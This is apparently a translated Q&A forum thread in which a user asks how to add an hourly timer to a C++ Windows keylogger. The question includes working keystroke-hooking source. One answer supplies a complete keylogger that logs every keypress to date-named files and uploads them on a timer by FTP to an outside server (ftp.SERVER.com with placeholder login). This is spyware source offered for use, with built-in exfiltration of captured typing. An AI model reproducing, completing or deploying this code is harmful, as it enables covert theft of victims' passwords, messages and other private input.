如何在键盘记录器c ++中添加计时器

时间:2014-04-19 04:48:56

标签: c++ timer sleep keystroke keylogger

如何在此键盘记录程序中制作计时器,以便每小时发送一次记录?我在循环时尝试了Sleep()功能,但它们似乎无法正常工作。我想过使用多线程,但我认为必须有一个更有效的方法。

    #define _WIN32_WINNT 0x0500

    #include<fstream>
    #include<windows.h>
    #include<iostream>
    //globals   
    using namespace std;

    ofstream out("keys.txt", ios::out);

    LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
        PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

        // If key is being pressed
        if (wParam == WM_KEYDOWN) {
            switch (p->vkCode) {

                // Invisible keys
                case VK_LCONTROL:   out << "<LCTRL>";       break;
                case VK_RCONTROL:   out << "<RCTRL>";       break;
                case VK_INSERT:     out << "<INSERT>";      break;
                case VK_END:        out << "<END>";         break;
                case VK_PRINT:      out << "<PRINT>";       break;
                case VK_DELETE:     out << "<DEL>";         break;
                case VK_BACK:       out << "<BK>";          break;

                case VK_LEFT:       out << "<LEFT>";        break;
                case VK_RIGHT:      out << "<RIGHT>";       break;
                case VK_UP:         out << "<UP>";          break;
                case VK_DOWN:       out << "<dDOWN>";       break;

                case VK_RETURN:     out << "<ENTER>\n";     break;

                //add special keys like semicolons

                // Visible keys
                default:
                    if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT))  //this should be on top to detect simultanous input first
                    out << char(tolower(p->vkCode));

                    else if (GetKeyState(VK_CAPITAL)||GetAsyncKeyState(VK_SHIFT))
                    out << char(toupper(p->vkCode));
                    //add capital version of sepecial keys

                    else 
                    out << char(tolower(p->vkCode));
            }
            out.flush();    //to immediately flush to txt file
            cout<<p<<endl;
        }


        return CallNextHookEx(NULL, nCode, wParam, lParam);
        }




    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

        // Set windows hook

        HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,keyboardHookProc,hInstance,0);

        MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);

        out.close();

        return 0;
    }

我正在使用DEVC ++

3 个答案:

答案 0 :(得分:1)

如果您只想每隔一段时间发送一次日志,您可以轻松检查以检测自上次日志更新以来的日期!

简易方法

您需要在文件更新之间存储所有键盘记录。您可以轻松地将它们放入vector

因此,不要使用out << blahblah输出到您的文件,而是使用vectorname.push_back(blahblah)

将字符添加到您的向量中

您还需要一个时间变量。您可以使用windows.h函数GetTickCount来满足您的所有时序需求。

当您的键盘挂钩/回调(您拥有实际键盘记录代码的方法)被调用时,请检查自上次更新日志文件以来是否已经过了一小时,如果它已经是小时或更长时间,更新它并设置你的时间变量= GetTickCount。

希望有所帮助!

答案 1 :(得分:0)

Win32 API函数SetTimer每x毫秒或任何给定时间执行一个函数。

http://msdn.microsoft.com/en-us/library/windows/desktop/ms644906(v=vs.85).aspx

以下控制台程序的工作方式如下:它使用SetTimer设置计时器 然后在消息循环中循环。消息循环接收并处理WM_TIMER条消息 并且每个时间间隔也会调用定时器回调。

usage_Time_millisec=1000;//1 sec=1000ms  1 min=60*1000ms

只需将您想要完成的内容放入CALLBACK TimerProc()函数中。

#define STRICT 1 
#include <windows.h>
#include <iostream.h>
#include <time.h>

unsigned long minutes=0;
int Counter=0;
int usage_Time_millisec=1000;//1 sec=1000ms  1 min=60*1000ms
clock_t timer_start, timer_stop;
MSG Msg;
   UINT TimerId; 


VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime) 
{

   //put the stuff you want done in here

  cout << "Doing stuff Time: " << dwTime << '\n';


  cout << abs(timer_start - timer_stop )  <<"   millisecond delay " << endl;
  cout << "--------------------------------------------------\n" ;
  cout.flush();

}

int main(int argc, char *argv[], char *envp[]) 
{

        usage_Time_millisec=1000;//1 sec=1000ms  1 min=60*1000ms
        TimerId  = SetTimer(NULL, 0, usage_Time_millisec, &TimerProc); //bind TimerProc() to SetTimer() 

        timer_start = clock ();
        timer_stop = clock ();

        cout << "TimerId: " << TimerId << '\n';

        if (!TimerId) return 16;

        while (GetMessage(&Msg, NULL, 0, 0)) 
        {

            ++Counter;
            if (Msg.message == WM_TIMER)
            {

                timer_start = clock ();
                //cout << "Doing stuff Counter: " << Counter << "; timer message\n";
            }
            else
            {
                timer_stop = clock ();
                timer_start = clock ();
                //cout << "Doing stuff Counter: " << Counter << "; message: " << Msg.message << '\n';
            }
            DispatchMessage(&Msg);
        }

        KillTimer(NULL, TimerId);

return 0;

}

答案 2 :(得分:0)

我使用了SetTimer(),它就像一个魅力。

#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>

#include<iostream>
#include <time.h>
#include <wininet.h>

using namespace std;
//globals
char date[100]; //must be a global variable
char *datetxt;   //must be a global variable
char *buffer;   //for outputting to new file, if there isnt internet
void namer();  //show nointernet() that namer() exists
void nointernet()
{
    std::ifstream    inFile(datetxt);//copy to buffer
    inFile >> buffer;
    inFile.close();
    remove(datetxt);  //delete old name
    namer();  //give new name
    std::ofstream    outFile(datetxt); //should be here to avoid new and old name mishaps
    outFile << buffer;   //enter copied data here

}
void namer()
{
    time_t rawtime;
    struct tm *timeinfo;
    time (&rawtime);
    timeinfo = localtime (&rawtime);
    strftime(date, 100, "%H%M%d%m%Y%S", timeinfo); //get date
    datetxt = strcat(date, ".txt");                 //joins date with a .txt extrention
}

int upload()
{
    HINTERNET hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); // Initialization for WinInet Functions
    if (!hInternet)
    {
        nointernet(); //if there is no internet, append new log file
    }


    HINTERNET hFtpSession = InternetConnect(hInternet, "ftp.SERVER.com", INTERNET_DEFAULT_FTP_PORT, "USER", "PASS", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0); // Starts a session in this case an FTP session
    if (!hFtpSession)
    {
        InternetCloseHandle(hInternet);
        nointernet();   //if you cant access ftp, append to new log file

    }

    FtpPutFile(hFtpSession, datetxt, datetxt, FTP_TRANSFER_TYPE_BINARY, 0); // Uploads datetxt file  onto the FTP server as datetxt


    InternetCloseHandle(hFtpSession); // Close hFtpSession
    InternetCloseHandle(hInternet); // Close hInternet
    //delete old datetxt
    namer();   //give new name
    return 0;
}

void CALLBACK repeat(HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime)
{
    upload();  //upload old name and change name


}



LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{


    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
    ofstream out(datetxt, ios::app);
    // If key is being pressed

    if (wParam == WM_KEYDOWN)
    {
        switch (p->vkCode)
        {
        // Invisible keys
        case VK_LCONTROL:   out << "<LCTRL>";        break;
        case VK_RCONTROL:   out << "<RCTRL>";       break;
        case VK_INSERT:     out << "<INSERT>";      break;
        case VK_END:        out << "<END>";         break;
        case VK_PRINT:      out << "<PRINT>";       break;
        case VK_DELETE:     out << "<DEL>";         break;
        case VK_BACK:       out << "<BK>";          break;

        case VK_LEFT:       out << "<LEFT>";        break;
        case VK_RIGHT:      out << "<RIGHT>";       break;
        case VK_UP:         out << "<UP>";          break;
        case VK_DOWN:       out << "<dDOWN>";       break;

        case VK_RETURN:     out << "<ENTER>\n";     break;

            //add special keys like semicolons

        // Visible keys
        default:
            if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT))  //this should be on top to detect simultanous input first
                out << char(tolower(p->vkCode));

            else if (GetKeyState(VK_CAPITAL) || GetAsyncKeyState(VK_SHIFT))
                out << char(toupper(p->vkCode));
            //add capital version of special keys

            else
                out << char(tolower(p->vkCode));


        }
        out.close();    //to immediately flush to txt file
        cout << p << endl;
    }

    return CallNextHookEx(NULL, nCode, wParam, lParam);


}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    namer();   // for the datetxt name

    HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); // Set windows hook

    //re-run program here/*************************************************
    MSG msg;

    SetTimer(NULL, 0, 10000, (TIMERPROC) &repeat);
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    //till here/**********************************************************/
    // out.close();
    BOOL WINAPI UnhookWindowsHookEx(HHOOK keyboardHook);
    return 0;

}